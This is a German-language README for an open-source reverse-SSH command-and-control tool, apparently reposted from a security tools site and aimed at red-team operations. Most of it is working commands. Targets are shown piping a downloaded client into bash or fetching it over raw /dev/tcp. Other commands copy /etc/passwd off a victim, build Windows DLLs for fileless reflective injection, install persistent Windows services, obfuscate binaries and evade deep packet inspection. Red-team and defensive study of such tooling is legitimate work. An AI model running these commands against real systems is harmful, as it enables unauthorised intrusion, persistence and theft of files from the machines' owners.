nhas/reverse_sshSSH-basiertes Reverse-Shell-Verwaltungstool mit nativer SCP/SFTP-Unterstützung, mehreren Transportprotokollen, Windows-DLL-Generierung und dateiloser Ausführung für Red-Team-Operationen.
(Bildnachweis: https://www.instagram.com/smart.hedgehog.art/)
Möchten Sie SSH für Reverse-Shells verwenden? Jetzt ist es möglich.
SCP- und SFTP-Implementierungen zum Abrufen von Dateien von Ihren Zielenhttp, websockets, tls und mehrhttps://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
- [Reverse SSH](#reverse-ssh)
- [TL;DR](#tldr)
- [Einrichtung](#setup)
- [Grundlegende Nutzung](#basic-usage)
- [Sponsoren](#sponsors)
- [Einzelpersonen](#individuals)
- [Unternehmen](#companies)
- [Ausgefallene Funktionen](#fancy-features)
- [Berechtigungen](#privileges)
- [Automatische Rückverbindung](#automatic-connect-back)
- [Reverse-Shell-Download (Client-Generierung und integrierter HTTP-Server)](#reverse-shell-download-client-generation-and-in-built-http-server)
- [Alternative Transporte (HTTP/Websockets/TLS)](#alternate-transports-httpwebstockets-tls)
- [Bash-Autovervollständigung](#bash-autocomplete)
- [Windows-DLL-Generierung](#windows-dll-generation)
- [SSH-Subsysteme](#ssh-subsystems)
- [Alle](#all)
- [Linux](#linux)
- [Windows](#windows)
- [Windows-Dienstintegration](#windows-service-integration)
- [Vollständige Windows-Shell-Unterstützung](#full-windows-shell-support)
- [Webhooks](#webhooks)
- [Tun (VPN)](#tun-vpn)
- [Dateilose Ausführung (Clients unterstützen dynamisches Herunterladen von ausführbaren Dateien, um sie als Shell auszuführen)](#fileless-execution-clients-support-dynamically-downloading-executables-to-execute-as-shell)
- [Unterstützte URI-Schemata](#supported-uri-schemes)
- [Hilfe](#help)
- [Windows](#windows-help)
- [SFTP](#windows-and-sftp)
- [Fehler beim Spawnen von Sitzungen (0xc0000142)](#session-spawn-errors-0xc0000142)
- [Server mit `--insecure` gestartet hat immer noch `Failed to handshake`](#server-started-with---insecure-still-has-failed-to-handshake)
- [Vordergrund vs. Hintergrund](#foreground-vs-background)
- [Spenden, Support oder etwas zurückgeben](#donations-support-or-giving-back)
## TL;DR
### Einrichtung
Die Docker-Version wird empfohlen, da sie die richtige Version von Golang und einen Cross-Compiler für Windows enthält.```sh
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh
oder docker compose:```yaml services: reversessh: image: reversessh/reverse_ssh ports: - "3232:2222" environment: - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 - RSSH_CONSOLE_LABEL=c2.label - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY} volumes: - ./data:/data
### Grundlegende Nutzung```sh
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
Alle Befehle unterstützen das -h Flag für Hilfe.
Dann funktionieren typische SSH-Befehle, geben Sie einfach Ihren rssh-Server als Sprunghost an.```sh
ssh -J your.rssh.server.internal:3232 dummy.machine
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
## Sponsoren
Ein großes Dankeschön an die folgenden Personen, die für das RSSH-Projekt gespendet haben und all dies möglich machen!
### Einzelpersonen
[chikamobina](https://github.com/chikamobina) für ihre großzügigen Spenden!
[wrighterase (ctrlzero)](https://github.com/wrighterase) für ihre Pull-Requests und Spende!
### Unternehmen
[Carapace](https://carapace.nz/) ist ein in Neuseeland ansässiges Sicherheitsberatungsunternehmen mit einem äußerst talentierten Team von Leuten!
[<img src="https://assets.kitploit.com/production/public/readmes/5627/b077b138b5108d69a3bcb10eea9d5f195914c9fb4653689923b3a10a1ee38a64.png">](https://carapace.nz/)
## Ausgefallene Funktionen
### Berechtigungen
Der RSSH-Server unterstützt sehr grundlegende Benutzerberechtigungen, bei denen Benutzer, die im `data-directory`/`keys` Ordner (angegeben durch `--datadir`) gefunden werden, z.B. `data-directory/keys/jim`, als „Benutzer“ zugewiesen werden, die nur Clients sehen können, die öffentlich sind (in der `authorized_controllee_keys`-Datei ohne einen `owners`-Tag oder mit einem leeren `owners`-Tag) oder die speziell für sie bestimmt sind, z.B. `owners="jim"`.
Dies kann zur Laufzeit geändert werden, indem ein Benutzer den Zugriff auf einen von ihm besessenen Client mit dem `access`-Befehl teilt, oder ein Serveradministrator. Standardmäßig wird jeder öffentliche Schlüssel, der in der `authorized_keys`-Datei gefunden wird, als Administrator markiert, um die Abwärtskompatibilität zu erhalten.
Änderungen durch den `access`-Befehl werden nach einem Neustart des Servers nicht beibehalten, und dies erfordert das Bearbeiten der `authorized_controllee_keys`-Datei für diesen spezifischen Client.
### Automatische Rückverbindung
Der rssh-Client ermöglicht es Ihnen, eine Rückverbindungsadresse einzubauen.
Standardmäßig baut der `link`-Befehl die externe Adresse des Servers ein.
Wenn Sie (aus irgendeinem Grund) die Binärdatei manuell erstellen, können Sie die Umgebungsvariable `RSSH_HOMESERVER` angeben, um sie in den Client einzubauen:```sh
$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make
# Will connect to your.rssh.server.internal:3232, even though no destination is specified
$ bin/client
# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232
$ bin/client -d example.com:3232
Der RSSH-Server kann Client-Binaries erstellen und hosten (link-Befehl). Dies ist die bevorzugte Methode zum Erstellen und Bereitstellen von Clients.
Damit die Funktion funktioniert, muss der Server im bin/-Ordner des Projekts platziert werden, da er die Client-Quelle finden muss.
Standardmäßig ist die docker-Version vollständig richtig konfiguriert und wird zur Verwendung empfohlen```sh
ssh your.rssh.server.internal -p 3232
catcher$ link -h
link [OPTIONS] Link will compile a client and serve the resulting binary on a link which is returned. This requires the web server component has been enabled. --fingerprint Set RSSH server fingerprint will default to server public key --garble Use garble to obfuscate the binary (requires garble to be installed) --goarch Set the target build architecture (default runtime GOARCH) --goarm Set the go arm variable (not set by default) --goos Set the target build operating system (default runtime GOOS) --http Use http polling as the underlying transport --https Use https polling as the underlying transport --log-level Set default output logging levels, [INFO,WARNING,ERROR,FATAL,DISABLED] --lzma Use lzma compression for smaller binary at the cost of overhead at execution (requires upx flag to be set) --name Set the link download url/filename (default random characters) --no-lib-c Compile client without glibc --ntlm-proxy-creds Set NTLM proxy credentials in format DOMAIN\USER:PASS --owners Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson --proxy Set connect proxy address to bake it --raw-download Download over raw TCP, outputs bash downloader rather than http --shared-object Generate shared object file --sni When TLS is in use, set a custom SNI for the client to connect with --stdio Use stdin and stdout as transport, will disable logging, destination after stdio:// is ignored --tls Use TLS as the underlying transport --upx Use upx to compress the final binary (requires upx to be installed) --use-kerberos Instruct client to try and use kerberos ticket when using a proxy --working-directory Set download/working directory for automatic script (i.e doing curl https://.sh) --ws Use plain http websockets as the underlying transport --wss Use TLS websockets as the underlying transport -C Comment to add as the public key (acts as the name) -l List currently active download links -o Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson -r Remove download link -s Set homeserver address, defaults to server --external_address if set, or server listen address if not
catcher$ link --name test http://your.rssh.server.internal:3232/test
Dann können Sie es wie folgt herunterladen:```sh
wget http://your.rssh.server.internal:3232/test
chmod +x test
./test
Oder du kannst rohes TCP verwenden, um das Client-Binary herunterzuladen:```sh bash -c "exec 3<>/dev/tcp/your.rssh.server.internal/3232; echo RAWtest>&3; cat <&3" > test
Das Format dafür ist einfach `RAW` gefolgt vom Dateinamen, also in diesem Fall `test`, rssh kann dies für Sie mit `--raw-download` automatisch generieren.
Der RSSH-Server unterstützt auch die URL-Pfad-Endungen `.sh`, `.py` und `.ps1`, die ein Skript generieren, das Sie in einen Interpreter pipen können:```sh
curl http://your.rssh.server.internal:3232/test.sh | sh
Der Reverse-SSH-Server und -Client unterstützen beide mehrere Transporte für den Fall, dass Deep Packet Inspection den ausgehenden SSH-Verkehr von einem Host oder Netzwerk blockiert. Sie können entweder das Connect-Back-Schema manuell angeben, indem Sie es als URL im Client angeben.
Z.B.```sh ./client -d ws://your.rssh.server:3232
Oder indem Sie es mit dem `link` Befehl einbetten.```sh
ssh your.rssh.server -p 3232 link --ws --name test
Der RSSH-Server besitzt den Befehl autocomplete, der sich gut in Bash integriert, sodass Sie Autovervollständigungen auch außerhalb der Serverkonsole nutzen können.
Um sie zu installieren, führen Sie einfach Folgendes aus:
rssh autocomplete install
``````sh
ssh your.rssh.server.internal -p 3232 autocomplete --shell-completion your.rssh.server.internal:3232
Und dies gibt eine Autovervollständigung zurück, die zu Ihrer .zshrc oder .bashrc hinzugefügt werden kann.
z.B.```sh _RSSHCLIENTSCOMPLETION() { local cur=${COMP_WORDS[COMP_CWORD]} COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 autocomplete --clients)" -- $cur) ) }
_RSSHFUNCTIONSCOMPLETIONS() { local cur=${COMP_WORDS[COMP_CWORD]} COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 help -l)" -- $cur) ) }
complete -F _RSSHFUNCTIONSCOMPLETIONS ssh your.rssh.server.internal -p 3232
complete -F _RSSHCLIENTSCOMPLETION ssh -J your.rssh.server.internal:3232
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 exec complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 connect complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 listen -c complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 kill
Ermöglicht Vervollständigungen direkt von Ihrem Terminal aus:```sh
# Will give you an option based on what clients are connected
ssh -J your.rssh.server.internal:3232 <TAB>
Sie können den Client als DLL kompilieren, die mit etwas wie Invoke-ReflectivePEInjection geladen werden kann. Dies ist nützlich, wenn Sie eine dateilose Injektion des rssh-Clients durchführen möchten.
Dafür wird ein Cross-Compiler benötigt, wenn Sie dies unter Linux tun, verwenden Sie mingw-w64-gcc, dies ist in der Docker-Version enthalten.```bash
catcher$ link --goos windows --shared-object --name windows_dll http://your.rssh.server.internal:3232/windows_dll
CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll
### SSH-Subsysteme
Das SSH-Protokoll unterstützt das Aufrufen von Subsystemen mit dem Flag `-s`. In RSSH wird dies umfunktioniert, um spezielle Befehle für Plattformen sowie `sftp`-Unterstützung bereitzustellen.
#### Alle
`list` Listet verfügbare Subsysteme auf
`sftp`: Führt den SFTP-Handler zur Dateiübertragung aus
#### Linux
`setgid`: Versuch, die Gruppe zu ändern
`setuid`: Versuch, den Benutzer zu ändern
#### Windows
`service`: Installiert oder entfernt die rssh-Binärdatei als Windows-Dienst, erfordert Administratorrechte
z. B.```sh
# Install the rssh binary as a service (windows only)
ssh -J your.rssh.server.internal:3232 test-pc.user.test-pc -s service --install
Das Client-RSSH-Binärprogramm unterstützt die Ausführung innerhalb eines Windows-Dienstes und wird nach 10 Sekunden nicht auslaufen. Dies ist hervorragend für die Erstellung persistenter Verwaltungsdienste.
Die meisten Reverse-Shells für Windows haben Schwierigkeiten, eine Shell-Umgebung zu erzeugen, die Größenänderung, Kopieren und Einfügen sowie all die anderen Funktionen unterstützt, die wir alle sehr schätzen.
Dieses Projekt verwendet conpty auf neueren Windows-Versionen und die winpty-Bibliothek (die sich selbst entpackt) auf älteren Versionen. Dies sollte bedeuten, dass fast alle Windows-Versionen Ihnen eine gute Shell bieten.
Der RSSH-Server kann rohe HTTP-Anfragen senden, die mit dem Befehl webhook über die Terminal-Schnittstelle festgelegt werden.
Aktivieren Sie zuerst einen Webhook:```bash $ ssh your.rssh.server.internal -p 3232 catcher$ webhook --on http://localhost:8080/
Dann trennen Sie die Verbindung oder verbinden Sie einen Client, dies wird, wenn eine `POST`-Anfrage ausgelöst wird, das folgende Format haben.```bash
$ nc -l -p 8080
POST /rssh_webhook HTTP/1.1
Host: localhost:8080
User-Agent: Go-http-client/1.1
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip
{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}%
Als zusätzlicher Hinweis: Bitte verwenden Sie den /slack-Endpunkt, wenn Sie dies mit Discord verbinden.
RSSH und SSH unterstützen die Erstellung von Tuntap-Schnittstellen, mit denen Sie Datenverkehr routen und ein Pseudo-VPN erstellen können. Es erfordert etwas mehr Einrichtung als nur eine lokale oder entfernte Weiterleitung (-L, -R), aber in diesem Modus können Sie UDP und ICMP senden.
Wenn Sie eine Verbindung zu einem bösartigen RSSH-Client herstellen, kann dieser eine Verbindung zu Ihrem Tunnelgerät herstellen. Daher ist es wichtig, keine Weiterleitung zu aktivieren und entweder Firewall-Regeln zu haben, die alle Verbindungen zur lokalen Maschine blockieren, oder dies innerhalb eines Containers/Netns auszuführen.
Installieren Sie einen Client auf einem entfernten Rechner. Dies funktioniert nicht, wenn sich Ihr RSSH-Client auf demselben Host wie Ihr Tun-Gerät befindet.```sh sudo ssh -J your.rssh.server.internal:3232 user.wombo -w 0:any
sudo ip link set dev tun0 up sudo ip route add 0.0.0.0/0 dev tun0
Dies hat einige Einschränkungen: Es kann nur `UDP`/`TCP`/`ICMP` senden, keine beliebigen Layer-3-Protokolle. `ICMP` ist eine Best-Effort-Lösung und verwendet möglicherweise das `ping`-Tool des entfernten Hosts, da ICMP-Sockets auf den meisten Maschinen privilegiert sind. Ebenfalls nicht unterstützt werden `tap`-Geräte, z.B. Layer-2-VPN, da dies Administratorzugriff erfordern würde.
### Dateilose Ausführung (Clients unterstützen das dynamische Herunterladen von ausführbaren Dateien zur Ausführung als Shell)
Wenn Sie angeben, welche ausführbare Datei das `rssh`-Binary ausführen soll – entweder beim Verbinden mit einer vollständigen PTY-Sitzung oder bei der rohen Ausführung – unterstützt der Client URI-Schemata zum Herunterladen externer ausführbarer Dateien.
Zum Beispiel.```sh
connect --shell https://your.host/program <rssh_client_id>
ssh -J your.rssh.server:3232 <rssh_client_id> https://your.host/program
http/https: Reines Web-Downloading
rssh: Download über den rssh-Server
Der rssh-Server stellt Inhalte aus dem Verzeichnis downloads im Arbeitsverzeichnis der ausführbaren Datei bereit.
Beide Methoden verwenden nach Möglichkeit memfd, wodurch keine ausführbaren Dateien auf die Festplatte geschrieben werden.
Aufgrund der Einschränkungen von SFTP (oder besser gesagt der Bibliothek, die ich dafür verwende). Pfade erfordern unter Windows etwas mehr Aufwand.```sh sftp -r -J your.rssh.server.internal:3232 test-pc.user.test-pc:'/C:/Windows/system32'
## Session-Spawn-Fehler (0xc0000142)
Unter bestimmten Ausführungsbedingungen kann die Verbindung zu einem RSSH client unter windows fehlschlagen, ohne dass ein Fehler angezeigt wird.```sh
catcher$ connect windows-system
Session has terminated.
Client-Logs:```sh 2025/08/24 18:25:39 [client] INFO session.go:52 func16() : Session got request: "shell" 2025/08/24 18:25:39 [client] INFO shell_windows.go:137 runWithConpty() : New process with pid 3427 spawned 2025/08/24 18:25:39 [client] INFO session.go:122 func16() : Session disconnected
Es gibt zwei häufige Ursachen hierfür: Die erste ist, dass das Antivirenprogramm die gestartete PowerShell beendet hat, und die andere `0xc0000142` tritt auf, wenn der resultierende Prozess keine Berechtigung für den Zugriff auf die Windows-Station oder den Desktop hat [Quelle](https://stackoverflow.com/questions/677874/starting-a-process-with-credentials-from-a-windows-service/30687230#30687230).
Um festzustellen, welche Ursache vorliegt, führen Sie einen beliebigen Befehl ohne eine pty aus:```sh
ssh -J rssh windows-system cmd /c dir
exit status 0xc0000142
Wenn Sie den Fehlercode 0xc0000142 sehen, versuchen Sie, CMD.exe zu starten und erzwingen Sie die Zuweisung eines pty (-t):```sh
ssh -t -J rssh windows-system CMD.exe
Dies sollte eine interaktive Shell starten.
## Server gestartet mit `--insecure` hat immer noch `Failed to handshake`
Wenn das Client-Binärprogramm mit dem Befehl `link` erstellt wurde, hat dieser Client standardmäßig den Fingerprint des öffentlichen Schlüssels des Servers fest integriert. Wenn Sie Ihren privaten Schlüssel des Servers verlieren, können die Clients keine Verbindung mehr herstellen.
Sie können Clients auch mit `link --fingerprint <Fingerprint hier>` generieren, um einen Fingerprint anzugeben. Derzeit gibt es keine Möglichkeit, dies zu deaktivieren, gemäß Version 1.0.13.
## Vordergrund vs. Hintergrund
Standardmäßig laufen Clients im Hintergrund, dann wird der Elternprozess beendet. Der Kindprozess erhält stdout/stderr des Elternprozesses, sodass Sie die Ausgabe sehen können. Wenn Sie Ihren Client debuggen müssen, verwenden Sie das Flag `--foreground`.
# Spenden, Unterstützung oder etwas zurückgeben
Der einfachste Weg, etwas an das RSSH-Projekt zurückzugeben, ist, Fehler zu finden, Funktionsanfragen zu öffnen und es durch Mundpropaganda bei Personen zu bewerben, von denen Sie denken, dass sie es nützlich finden!
Wenn Sie mir jedoch direkt etwas zurückgeben möchten, können Sie dies entweder über Kofi oder GitHub Sponsors tun (unter "Sponsor this Project" auf der rechten Seite).
Oder spenden Sie mir, indem Sie an eine der folgenden Wallets senden:
Monero (XMR):
`8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND`
Bitcoin (BTC):
`bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr`